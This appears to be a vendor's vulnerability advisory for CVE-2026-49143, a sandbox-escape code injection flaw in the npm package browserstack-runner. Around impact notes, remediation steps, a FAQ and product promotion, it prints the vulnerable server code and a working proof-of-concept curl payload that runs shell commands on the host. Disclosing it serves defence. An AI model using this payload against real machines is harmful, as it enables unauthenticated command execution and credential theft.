CVE-2026-49143

CVE-2026-49143 is a high-severity code injection vulnerability in browserstack-runner (npm), affecting versions <= 0.9.5. No fixed version is listed yet.

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Credit

Christ Bowel Bouchuen

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-49143 has a CVSS score of 8.8 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

browserstack-runner (<= 0.9.5)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

  1. Remove eval() and vm.runInNewContext() from the _log handler, use JSON.stringify() for safe logging
  2. Add UUID authentication to _log (matching _progress and _report handlers)
  3. Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Frequently Asked Questions

  1. What is CVE-2026-49143? CVE-2026-49143 is a high-severity code injection vulnerability in browserstack-runner (npm), affecting versions <= 0.9.5. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2026-49143? CVE-2026-49143 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of browserstack-runner are affected by CVE-2026-49143? browserstack-runner (npm) versions <= 0.9.5 is affected.
  4. Is there a fix for CVE-2026-49143? No fixed version is listed for CVE-2026-49143 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-49143 exploitable, and should I be worried? Whether CVE-2026-49143 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-49143 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-49143? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.

Other vulnerabilities in browserstack-runner

CVE-2026-49143

Stop the waste.
Protect your environment with Kodem.